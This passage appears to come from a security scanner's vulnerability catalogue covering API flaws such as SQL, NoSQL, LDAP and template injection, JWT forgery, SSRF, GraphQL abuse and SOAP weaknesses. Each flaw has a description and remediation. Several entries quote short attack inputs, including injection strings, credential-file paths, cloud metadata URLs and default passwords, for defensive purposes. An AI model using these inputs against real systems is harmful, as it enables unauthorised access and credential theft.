Description: The GraphQL API has introspection enabled, allowing unauthenticated or authenticated clients to query the complete API schema including all types, fields, mutations, subscriptions, arguments, and their descriptions. Introspection provides an attacker with a complete blueprint of the API equivalent to reading the source code, significantly lowering the barrier to discovering sensitive operations, hidden mutations, and exploitable fields. In production APIs, introspection should only be available to authenticated developers.

Remediation: Disable GraphQL introspection in production environments. Most frameworks support a simple configuration flag to disable introspection queries. If introspection must be available to developers, restrict it to authenticated requests from trusted IP addresses or developer accounts. Consider using query complexity analysis and depth limiting in addition to disabling introspection.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

HIGH SI-076 — GraphQL Batch Query Attack Possible

Description: The GraphQL API accepts batched queries — multiple operations in a single HTTP request submitted as a JSON array. An attacker can use this to bypass rate limiting by packing thousands of operations into a single request, enumerate sensitive data efficiently, or perform brute-force attacks against authentication mutations within a single connection. Since most rate limiting implementations count HTTP requests rather than GraphQL operations, batching multiplies the effective request rate by the batch size.

Remediation: Disable query batching if not required by any legitimate client. If batching is needed, implement a maximum batch size limit (e.g., 10 operations per request). Ensure rate limiting counts individual GraphQL operations within batches rather than HTTP requests. Monitor for unusually large batched requests as an indicator of abuse.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L

OWASP API: API4:2023 Unrestricted Resource Consumption

HIGH SI-077 — GraphQL Query Depth Attack

Description: The GraphQL API accepts deeply nested queries without enforcing a maximum query depth limit. An attacker can submit a deeply recursive query that causes the resolver chain to execute exponentially more database queries or CPU work than a shallow query. For example, a query asking for user's friends' friends' friends' posts' comments' authors (10+ levels deep) can result in N^10 database queries. This is a reliable denial-of-service vector available to any client with API access.

Remediation: Implement a maximum query depth limit in the GraphQL execution engine (recommended: 10-15 levels maximum depending on schema). Use a query complexity analysis library to assign cost scores to fields and reject queries exceeding the complexity budget. Apply query timeout limits as an additional safeguard. Use query cost analysis to account for relationship traversal cost.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

OWASP API: API4:2023 Unrestricted Resource Consumption

HIGH SI-078 — SOAP Injection — Parameter Reflected or Error Triggered

Description: Siphon detected that SOAP API parameters reflect injected XML content in the response or trigger parser errors indicative of XML injection. SOAP injection allows an attacker to inject additional XML elements, close existing tags, or inject new SOAP body elements. Successful SOAP injection can bypass authentication, modify business logic, extract data from the SOAP response, or trigger XML processing vulnerabilities (XXE) depending on the XML parser configuration.

Remediation: Validate and sanitize all SOAP parameter values before XML processing. Encode special XML characters (<, >, &, ', ") in user-supplied values. Use parameterized SOAP processing rather than string concatenation to construct SOAP messages. Disable external entity processing (XXE) in the XML parser. Validate incoming SOAP messages against a strict XSD schema.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

OWASP Web: A03:2021 Injection

OWASP API: API8:2023 Security Misconfiguration

HIGH SI-079 — SSRF via API Parameter

Description: Siphon confirmed a Server-Side Request Forgery (SSRF) vulnerability where a URL supplied in an API parameter causes the server to make an HTTP request to the specified URL. An attacker can exploit this to reach internal services not accessible from the internet, probe internal network topology, access cloud instance metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/ for AWS credentials), access localhost services, or potentially achieve remote code execution via SSRF chains.

Impact: An attacker coerces the server into making requests to internal-only services and cloud metadata endpoints, exposing internal APIs, admin panels and short-lived cloud IAM credentials, and providing a pivot to reach systems unreachable from the internet — frequently escalating to full cloud-account compromise.

Remediation: Implement server-side URL validation against a strict allowlist of permitted schemes and destination hostnames before making any outbound request. Block requests to private IP ranges, loopback addresses, link-local addresses (169.254.x.x), and cloud metadata endpoints. Use a DNS resolution step to resolve the hostname and verify the resulting IP is not in a blocked range. Implement outbound firewall rules to prevent the application server from reaching internal services. Log all outbound HTTP requests.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

OWASP Web: A10:2021 Server-Side Request Forgery

OWASP API: API7:2023 Server Side Request Forgery

HIGH SI-080 — Business Flow — Workflow Step Directly Accessible

Description: Siphon confirmed that a step in a multi-stage business workflow (e.g., checkout confirmation, order completion, password reset confirmation, OTP verification success) can be accessed directly without completing the preceding steps. The API does not enforce workflow state on the server side, relying instead on the client to follow the correct sequence. An attacker can skip prerequisite steps such as payment verification or identity verification by directly calling the completion endpoint.

Remediation: Implement server-side workflow state management that tracks the current state of each session's progress through multi-step processes. Require prerequisite steps to be completed and validated before allowing access to subsequent steps. Use server-side session tokens to track workflow state rather than trusting client-supplied step indicators. Implement transaction-level validation that verifies all prerequisite conditions are met before committing the final step.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

OWASP Web: A04:2021 Insecure Design

OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows

HIGH SI-081 — Business Flow — Race Condition (Duplicate Operation)

Description: Siphon confirmed a race condition vulnerability where submitting the same API operation multiple times in parallel results in the operation being executed more than once. Examples include: a referral bonus being credited multiple times, a one-time discount being applied to multiple orders, a withdrawal exceeding the account balance when concurrent requests are processed, or a promotional code being redeemed multiple times. The application checks the constraint and performs the action in separate non-atomic operations, creating a TOCTOU (Time-of-Check to Time-of-Use) window.

Remediation: Implement atomic database operations or database-level constraints (unique indexes, SELECT FOR UPDATE, serializable transactions) to prevent duplicate execution. Use distributed locks (Redis, database advisory locks) for operations that must not be executed concurrently for the same resource. Implement idempotency keys for all state-changing API operations. Add application-level duplicate detection based on request signatures or operation IDs.

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N

OWASP Web: A04:2021 Insecure Design

OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows

HIGH SI-082 — Business Flow — Bulk Endpoint Accepts Unrestricted Batch Size

Description: The API exposes a bulk operation endpoint that accepts an array of items without enforcing a maximum batch size limit. An attacker can submit a single request with tens of thousands of items, causing the server to perform excessive database operations, computation, or outbound calls proportional to the batch size. This can be used for targeted denial-of-service, resource exhaustion attacks, or mass data manipulation in a single authenticated request.

Remediation: Implement a maximum batch size limit on all bulk endpoints (e.g., 100-1000 items per request depending on operation cost). Return 400 Bad Request or 413 Payload Too Large when the limit is exceeded. Implement asynchronous processing for large batches with job-based status tracking rather than synchronous processing. Apply rate limiting at the operation level, not just the HTTP request level.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

OWASP API: API4:2023 Unrestricted Resource Consumption

CRITICAL SI-083 — Missing Authentication Enforcement

Description: Siphon confirmed that an API endpoint that should require authentication is accessible without any credentials. The endpoint performs a sensitive operation or returns sensitive data in response to completely unauthenticated requests. This represents a complete authentication bypass where no credentials of any kind are required. An anonymous attacker on the internet can directly invoke the endpoint and access its full functionality without any account or credential.

Remediation: Implement authentication enforcement as a mandatory middleware applied to all non-public API endpoints. Adopt a secure-by-default policy where all new endpoints require authentication unless explicitly marked as public. Conduct a full audit of all API endpoints to verify authentication is enforced. Remove any whitelisted paths from authentication bypass rules that are not genuinely intended to be public.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

CRITICAL SI-084 — BFLA — Admin Endpoint Accessible

Description: Siphon confirmed that an administrative API endpoint is accessible by a non-administrative user or by an unauthenticated attacker. Administrative endpoints typically provide user management (create/delete accounts, change roles), system configuration, data export, secret rotation, or other privileged operations. Access to an admin endpoint without proper authorization can result in complete account takeover of all users, data exfiltration, or full application compromise.

Remediation: Immediately restrict access to all administrative endpoints. Require administrator role authentication for all admin API paths. Implement role-based access control with explicit allow-lists per endpoint. Deploy admin API endpoints on a separate internal hostname or network segment not accessible from the public internet. Audit all admin operations with immutable audit logging.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A01:2021 Broken Access Control

OWASP API: API5:2023 Broken Function Level Authorization

CRITICAL SI-085 — BOLA — Broken Object Level Authorization

Description: Siphon confirmed a Broken Object Level Authorization (BOLA) vulnerability, also known as IDOR (Insecure Direct Object Reference). An authenticated user can access or modify resources owned by other users by substituting a different object identifier in the API request. The server returns data for the requested object without verifying that the authenticated user is the owner or has been explicitly granted access to that specific object. This is the most prevalent API vulnerability category and can expose all user data in the system.

Remediation: Implement object-level authorization checks on every endpoint that accesses a specific resource. Verify that the authenticated user ID matches the resource owner or has been explicitly granted access before returning or modifying any data. Derive the target user context from the authenticated session, not from client-supplied parameters. Implement automated authorization tests for every user-scoped API endpoint as part of the CI/CD pipeline.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

OWASP Web: A01:2021 Broken Access Control

OWASP API: API1:2023 Broken Object Level Authorization

CRITICAL SI-086 — Default Credentials Accepted on API Login Endpoint

Description: The API login endpoint accepts default credentials (e.g., admin/admin, admin/password, admin/1234, root/root, test/test, or vendor-specific defaults) and returns a successful authentication response. Default credentials are publicly known and represent the first credential set attempted by automated attackers. Successful login with default credentials provides immediate administrative or user access without any exploitation complexity, effectively bypassing all other security controls.

Remediation: Immediately change all default credentials on all accounts. Force password change on first login for all accounts provisioned with default credentials. Implement a credential policy that prevents setting passwords matching known-default or commonly-used values. Audit all accounts and API keys for default or trivially-guessable credentials. Disable any service accounts with default credentials that are not currently in use.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)

NIST 800-53: IA-5, AC-7, SI-4

PCI DSS 4: 8.3.1, 8.3.4, 8.3.6

CRITICAL SI-087 — Type Juggling / JSON Type Confusion Authentication Bypass

Description: Siphon confirmed an authentication bypass via JSON type confusion (type juggling). By submitting a non-string value in the JSON body for the password field (e.g., true (boolean), 0 (integer), null, or []) the authentication logic is bypassed. This occurs in dynamically-typed languages (PHP, JavaScript, Python) where loose comparison operators (==, in PHP: true == 'any string') evaluate to true when comparing certain type mismatches. An attacker can log in as any known username without knowing the password.

Remediation: Use strict type-safe comparison operators in all authentication logic. In PHP, use === instead of ==. In JavaScript/Node.js, validate that the incoming password is of type string before any comparison. Validate request body field types against expected types in the API schema before processing. Reject any authentication request where credentials are not of the expected primitive type.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

CRITICAL SI-088 — JWT None Algorithm Accepted

Description: Siphon confirmed that the API accepts JWTs signed with the 'none' algorithm (alg: none, alg: None, alg: NONE). The 'none' algorithm specifies that no signature is required, meaning an attacker can craft an arbitrary JWT with any claims (any user ID, any role, any expiry) without needing the server's signing key. By setting alg to 'none' and removing the signature, an attacker achieves complete authentication bypass and can impersonate any user including administrators.

Remediation: Implement an explicit algorithm allowlist in the JWT verification configuration and reject all tokens using the 'none' algorithm. Never rely on the algorithm specified in the JWT header to determine how to verify the token — use a server-side configured algorithm. Upgrade JWT libraries to versions that do not accept the 'none' algorithm by default. Audit all JWT validation code paths for algorithm confusion vulnerabilities.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

MITRE ATT&CK: T1550.001 (Defense Evasion)

NIST 800-53: IA-5, SC-8

PCI DSS 4: 4.2.1, 8.3.6

CRITICAL SI-089 — SQL Injection in API Parameter

Description: Siphon confirmed a SQL injection vulnerability in an API parameter. User-supplied input is incorporated into a SQL query without parameterization or adequate sanitization. An attacker can inject SQL syntax to extract all data from the database, bypass authentication, modify or delete database records, read server files (via LOAD_FILE or xp_cmdshell), execute OS commands (via xp_cmdshell or UDF), or achieve complete database server compromise. SQL injection in APIs is particularly severe because the API may provide direct database access without application-layer filtering.

Remediation: Replace all dynamic SQL query construction with parameterized queries or prepared statements. Use an ORM that automatically parameterizes queries. If dynamic queries are unavoidable, use an allowlist-based escaping function appropriate for the database platform. Apply the principle of least privilege to database accounts: the API's DB user should not have DROP, TRUNCATE, or file access permissions. Implement a WAF rule for SQL injection patterns as defense-in-depth.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A03:2021 Injection

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)

NIST 800-53: SI-10, SA-11, RA-5

PCI DSS 4: 6.2.4, 6.3.2

CRITICAL SI-090 — Blind SQL Injection (Boolean-Based)

Description: Siphon confirmed a boolean-based blind SQL injection vulnerability where injecting boolean conditions into an API parameter produces different application responses (different response body, length, or status code) depending on whether the injected condition is true or false. While no data is returned directly, an attacker can exfiltrate the entire database content bit-by-bit by asking true/false questions about the data (e.g., 'is the first character of the admin password greater than M?'). Automated tools like sqlmap can extract the complete database in minutes.

Impact: An attacker can extract arbitrary database contents one character at a time by observing the difference between the application's responses to TRUE and FALSE injected conditions — no database error output or visible data is required. This enables disclosure of credentials, session tokens and other sensitive records, and can be escalated to authentication bypass or, on some database engines, command execution.

Remediation: Replace all dynamic SQL construction with parameterized queries. The remediation is identical to direct SQL injection (SI-089). Blind injection is often harder to detect through manual code review, making comprehensive use of parameterized queries and ORM frameworks critical. Run automated SQL injection scans (sqlmap) against all API endpoints as part of security testing.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

OWASP Web: A03:2021 Injection

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)

NIST 800-53: SI-10, SA-11, RA-5

PCI DSS 4: 6.2.4, 6.3.2

CRITICAL SI-091 — Blind SQL Injection (Time-Based)

Description: Siphon confirmed a time-based blind SQL injection vulnerability. Injecting time-delay functions (e.g., SLEEP(5), WAITFOR DELAY, pg_sleep(5)) into an API parameter causes the server response to be delayed by the specified duration, confirming SQL execution. An attacker can exfiltrate the complete database using conditional time delays as an out-of-band data exfiltration channel. Time-based injection is reliable even when the application returns identical responses for true and false conditions, bypassing boolean-based detection.

Impact: An attacker can infer arbitrary database contents by measuring response delays induced by injected time-delay functions (SLEEP / pg_sleep / WAITFOR), requiring neither error output nor visible content differences. This blind exfiltration channel enables disclosure of credentials and sensitive data and, on some engines, can be escalated to file access or command execution; repeated long sleeps also provide a denial-of-service primitive.

Remediation: The remediation is identical to direct SQL injection (SI-089): use parameterized queries exclusively. Additionally, implement query timeout limits at the database level to limit the impact of time-delay attacks. Monitor for anomalously slow API response times as an indicator of time-based injection probing.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

OWASP Web: A03:2021 Injection

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)

NIST 800-53: SI-10, SA-11, RA-5

PCI DSS 4: 6.2.4, 6.3.2

CRITICAL SI-092 — NoSQL Injection in API Parameter

Description: Siphon confirmed a NoSQL injection vulnerability. User-supplied input is incorporated into a NoSQL database query (MongoDB, CouchDB, Firebase, Cassandra) without sanitization, allowing injection of query operators. For example, injecting {"$ne": null} in a MongoDB authentication query bypasses login by matching any non-null password. NoSQL injection can enable authentication bypass, data exfiltration, and in some cases server-side JavaScript execution via the $where operator.

Remediation: Validate that all user-supplied query parameters are of the expected primitive type (string, number) before constructing database queries. For MongoDB, use the official driver's parameterization features and reject any input containing MongoDB operator characters ($, .). Use ODM libraries (Mongoose) that enforce schema validation. Disable JavaScript execution operators ($where) in MongoDB if not required. Apply input allowlist validation before any database query construction.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

OWASP Web: A03:2021 Injection

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1190 (Initial Access)

NIST 800-53: SI-10

PCI DSS 4: 6.2.4

CRITICAL SI-093 — OS Command Injection in API Parameter

Description: Siphon confirmed OS command injection in an API parameter. User-supplied input is passed directly or with insufficient sanitization to a system shell command (via exec, shell_exec, subprocess, os.system, Runtime.exec, etc.). An attacker can inject shell metacharacters (;, |, &&, backticks, $()) to execute arbitrary operating system commands with the privileges of the web application process. This provides full remote code execution on the server, enabling complete system compromise, data exfiltration, lateral movement, and persistence.

Remediation: Eliminate all use of shell command execution with user-supplied input. Replace shell-based functionality with language-native library calls that do not invoke a shell. If OS command execution is unavoidable, pass arguments as a list (not a string) to prevent shell interpretation, and validate all inputs against a strict allowlist of permitted values. Run the application with the minimum OS privileges necessary. Implement application sandboxing (containers, seccomp) to limit the impact of command injection.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

OWASP Web: A03:2021 Injection

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)

NIST 800-53: SI-10, CM-6, SA-11

PCI DSS 4: 6.2.4

CISA KEV

CRITICAL SI-094 — Server-Side Template Injection (SSTI)

Description: Siphon confirmed Server-Side Template Injection (SSTI) in an API endpoint. User-supplied input is embedded directly into a server-side template (Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, ERB) and the template engine evaluates the injected expression. An attacker can exploit SSTI to execute arbitrary code within the template context, which typically provides full remote code execution equivalent to OS command injection. SSTI can be confirmed by injecting arithmetic expressions (e.g., {{7*7}}) and observing the evaluated result (49) in the response.

Remediation: Never concatenate user-supplied data directly into template strings. Pass user data as template variables that are rendered by the template engine safely, not as template code. Use templates that are defined statically in the codebase, not constructed dynamically from user input. If user-controlled templates are a business requirement, use a sandboxed template engine that prevents access to dangerous objects and methods.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A03:2021 Injection

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)

NIST 800-53: SI-10, SA-11

PCI DSS 4: 6.2.4

HIGH SI-095 — Path Traversal / Local File Inclusion in API

Description: Siphon confirmed a path traversal vulnerability where a filename or path parameter in the API is used to read files from the server filesystem without adequate sanitization. By injecting '../' sequences, an attacker can read files outside the intended directory, including /etc/passwd, /etc/shadow, application configuration files containing database credentials and API keys, private keys, and other sensitive system files. Depending on the application's OS privileges and filesystem permissions, this may provide access to any file readable by the web process.

Remediation: Validate all file path inputs against a strict allowlist of permitted filenames or paths. Use a canonical path resolution function (realpath(), Path.resolve()) to normalize the path and verify it begins with the expected base directory before any file access. Never concatenate user input directly into filesystem paths. Implement OS-level filesystem isolation (chroot, container volumes) to prevent access outside the intended directory.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A03:2021 Injection

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1083 (Discovery), T1190 (Initial Access)

NIST 800-53: AC-3, SI-10

PCI DSS 4: 6.2.4

CISA KEV

HIGH SI-096 — LDAP Injection in API Parameter

Description: Siphon confirmed an LDAP injection vulnerability where user-supplied input is incorporated into an LDAP query without sanitization. An attacker can inject LDAP filter metacharacters (*, (, ), \, null bytes) to modify query logic, bypass authentication, or enumerate LDAP directory contents. For example, injecting '*)(uid=*)' into a username field can match all LDAP entries, bypassing authentication. LDAP injection can expose organizational directory data including user accounts, group memberships, email addresses, and phone numbers.

Remediation: Implement LDAP input validation that escapes all LDAP special characters in user-supplied values. Use framework-provided LDAP query parameterization where available. Validate that usernames conform to an expected format (alphanumeric with allowed characters only) before constructing LDAP queries. Apply the principle of least privilege to the LDAP service account: it should have read-only access to only the attributes required by the application.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A03:2021 Injection

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1190 (Initial Access), T1110 (Credential Access)

NIST 800-53: SI-10

PCI DSS 4: 6.2.4

CRITICAL SI-097 — JWT Algorithm Confusion Attack (RS256 to HS256)

Description: Siphon confirmed an algorithm confusion attack where the API normally uses RS256 (asymmetric RSA) but also accepts tokens signed with HS256 (symmetric HMAC). An attacker can obtain the server's public RSA key (which is public by design) and use it as the HMAC secret to sign a forged HS256 token. If the server uses the algorithm from the token header rather than from its configuration to select the verification method, it will verify the forged token using the public RSA key as the HMAC secret, accepting the attacker's fabricated claims.

Remediation: Configure the JWT verification library to use a server-side algorithm allowlist that only permits the expected algorithm (e.g., RS256). Never determine the verification algorithm from the token's header — use the algorithm specified in server-side configuration. Use a JWT library version that explicitly defends against algorithm confusion attacks. Test JWT verification with forged HS256 tokens signed with the public key to confirm the fix.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

CRITICAL SI-098 — JWT — jku/x5u Header Injection (JWKS Spoofing)

Description: Siphon confirmed that the API fetches the JWT verification key from the URL specified in the jku (JWK Set URL) or x5u (X.509 Certificate Chain URL) header parameter without validating it against an allowlist. An attacker can craft a JWT with a jku pointing to an attacker-controlled server hosting a JWKS with the attacker's own public key, then sign the JWT with the corresponding private key. The server fetches the attacker's JWKS and verifies the signature successfully, accepting forged tokens with arbitrary claims.

Remediation: Implement strict allowlist validation of the jku and x5u header values before fetching any key material. Only accept jku values matching pre-configured trusted URLs. Prefer a static, server-side configured verification key over dynamic key fetching. If JWKS rotation is required, implement it through a server-side key rotation mechanism rather than accepting jku from tokens. Reject any token whose jku does not match the configured JWKS endpoint.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

CRITICAL SI-099 — JWT — kid Header SQL Injection

Description: Siphon confirmed that the JWT kid (key ID) header value is incorporated into a SQL query without parameterization when looking up the verification key. An attacker can inject SQL syntax into the kid header to manipulate the key lookup query. A common payload is "' UNION SELECT 'attacker_secret' --" which causes the server to use 'attacker_secret' as the verification key. The attacker then signs a forged JWT with 'attacker_secret', which the server accepts, enabling complete authentication bypass with arbitrary claims.

Remediation: Use parameterized queries for all database operations involving JWT header values. Validate the kid header value against an allowlist of known key identifier formats before any database lookup. Sanitize kid values by allowing only alphanumeric characters and hyphens. Consider using an in-memory key store rather than database-backed key lookup to eliminate the SQL injection vector entirely.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

CRITICAL SI-100 — JWT HMAC Secret Cracked

Description: Siphon successfully cracked the HMAC signing secret used by the API to sign JWTs using offline dictionary or brute-force attack (via hashcat or jwt-cracker). A weak or commonly-used HMAC secret can be recovered by testing the signature against wordlists. With the known secret, an attacker can forge arbitrary JWTs with any claims including elevated roles, extended expiry, or a different subject (user ID), achieving complete authentication bypass and privilege escalation to any account.

Remediation: Immediately rotate the JWT signing secret. Generate a new HMAC secret using a cryptographically secure random number generator with at least 256 bits of entropy. Store the secret in a secrets management system (HashiCorp Vault, AWS Secrets Manager). Consider migrating to asymmetric signing (RS256, ES256) where the private signing key is never shared and cannot be recovered from the token alone. Invalidate all existing tokens by changing the secret.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

HIGH SI-101 — GraphQL Introspection Enabled (Production)

Description: The GraphQL API has introspection enabled in what appears to be a production environment (based on the target scope or deployment indicators). Introspection allows any client to enumerate the complete API schema including all types, fields, mutations, subscriptions, argument names and types, and field deprecation status. This provides an attacker with a complete and accurate map of the entire API surface without any prior knowledge, enabling systematic testing of every field and mutation for vulnerabilities.

Remediation: Disable GraphQL introspection in production. Configure the GraphQL server to reject __schema and __type queries in non-development environments. Use environment variables to control introspection availability. If schema access is needed by internal tooling, restrict it via authentication and IP allowlist rather than leaving it publicly accessible.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

HIGH SI-102 — WS-Addressing ReplyTo/FaultTo Header Accepted (SSRF Risk)

Description: Siphon detected that the SOAP API accepts WS-Addressing headers (wsa:ReplyTo or wsa:FaultTo) containing attacker-controlled URLs and the server makes outbound requests to those addresses when processing the response or fault dispatch. WS-Addressing is a SOAP standard that specifies where reply messages and fault messages should be delivered; when the server honours arbitrary external URLs in these headers it is trivially exploitable as a Server-Side Request Forgery vector. An attacker can direct the server to fetch arbitrary internal or external resources, probe internal network services not exposed to the internet, access cloud metadata endpoints (e.g., 169.254.169.254/latest/meta-data/), or exfiltrate responses to an attacker-controlled listener. Because the SSRF originates from the server's network context it can bypass perimeter firewalls and reach services that are otherwise unreachable from the public internet.

Remediation: Validate the wsa:ReplyTo and wsa:FaultTo endpoint addresses against a strict allowlist of permitted destinations before dispatching any outbound message. Block all private IP ranges (RFC 1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback (127.0.0.0/8), and link-local (169.254.0.0/16) addresses at the HTTP client layer. Prefer an asynchronous reply model where responses are delivered over the same connection rather than via caller-supplied endpoints. If WS-Addressing reply-to support is not a business requirement, disable the feature entirely in the SOAP stack configuration.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

OWASP Web: A10:2021 Server-Side Request Forgery

OWASP API: API7:2023 Server Side Request Forgery

MITRE ATT&CK: T1090 (Command and Control)

NIST 800-53: SI-10, CA-9, SC-7

PCI DSS 4: 6.2.4

CRITICAL SI-103 — WS-Security Bypass — Expired Timestamp / Empty PasswordDigest Accepted

Description: Siphon confirmed that the SOAP API's WS-Security implementation accepts messages that fail one or more fundamental authentication checks: messages with an expired wsse:Timestamp (indicating the server does not enforce replay-window validation), or messages with an empty or null wsse:PasswordDigest value (indicating the server does not validate the digest against the password and nonce). WS-Security timestamps are designed to limit the window in which a captured SOAP message can be replayed; a server that ignores expiry allows indefinite replay of any intercepted authenticated message. An empty PasswordDigest acceptance means authentication can be bypassed by sending any username with an empty credential field, granting unauthenticated access to all API operations.

Remediation: Enforce strict WS-Security timestamp validation with a replay window of no more than 5 minutes and reject all messages whose wsu:Expires has elapsed. Validate the PasswordDigest using the correct formula: Base64(SHA-1(Nonce + Created + Password)); reject any message where the computed digest does not match the submitted value. Reject messages with null, empty, or malformed PasswordDigest values before any business logic is invoked. Maintain a server-side nonce cache to detect and reject replayed nonces within the allowed replay window.

Effort: Moderate

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP Web: A07:2021 Identification and Authentication Failures

OWASP API: API2:2023 Broken Authentication

MITRE ATT&CK: T1078 (Defense Evasion), T1556 (Credential Access)

NIST 800-53: IA-5, SC-8, AC-17

PCI DSS 4: 8.3.6, 4.2.1

MEDIUM SI-104 — WSDL Enumeration — Service Definition Exposed

Description: Siphon retrieved the WSDL (Web Services Description Language) document for the SOAP service without authentication. A WSDL file is a machine-readable contract that fully describes every operation exposed by the service, including operation names, input/output message schemas, data types, binding protocols, and the service endpoint URLs. Exposure of the WSDL dramatically reduces the effort required for an attacker to enumerate all available operations, craft valid SOAP requests, and systematically test each operation for injection, authentication bypass, or business logic vulnerabilities. In many cases the WSDL also reveals internal naming conventions, data structure field names, and undocumented operations.

Remediation: Restrict access to the WSDL document by requiring authentication before serving the ?wsdl or ?WSDL query parameter response. If the WSDL must be publicly accessible for integration purposes, ensure it does not reference internal-only operations or schema types. Consider maintaining a separate external-facing WSDL that exposes only public operations. At minimum, monitor access to the WSDL endpoint and alert on high-frequency enumeration.

Effort: Low

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

OWASP Web: A05:2021 Security Misconfiguration

OWASP API: API8:2023 Security Misconfiguration

MITRE ATT&CK: T1046 (Discovery)

NIST 800-53: CM-7, CM-6, RA-5

PCI DSS 4: 6.2.4

HIGH SI-105 — Unsafe API Consumption — Webhook URL Accepted (SSRF Risk)

Description: Siphon confirmed that the API accepts a caller-supplied URL in a webhook registration or callback parameter and the server makes outbound HTTP requests to that URL without validating it against a safe destination allowlist. This constitutes a Server-Side Request Forgery (SSRF) vulnerability where an attacker can cause the API server to fetch arbitrary internal resources, probe internal network topology, query cloud instance metadata endpoints (e.g., AWS 169.254.169.254, GCP metadata.google.internal), or exfiltrate sensitive environment data to an external listener. SSRF via webhook URLs is particularly impactful because the server's outbound request carries the server's own network identity and may reach services that are inaccessible from the public internet.

Remediation: Validate all webhook and callback URLs against a strict allowlist of permitted schemes (HTTPS only), domain suffixes, and IP ranges before any outbound connection is made. Block requests to private IP ranges (RFC 1918), loopback addresses, link-local ranges, and cloud metadata IP addresses at the HTTP client layer. Perform DNS resolution server-side and verify the resolved IP is not in a blocked range (DNS rebinding defence). If external webhook delivery is a feature requirement, perform an initial probe of the URL before registering it and enforce a retry-limit with exponential backoff.

Effort: Moderate

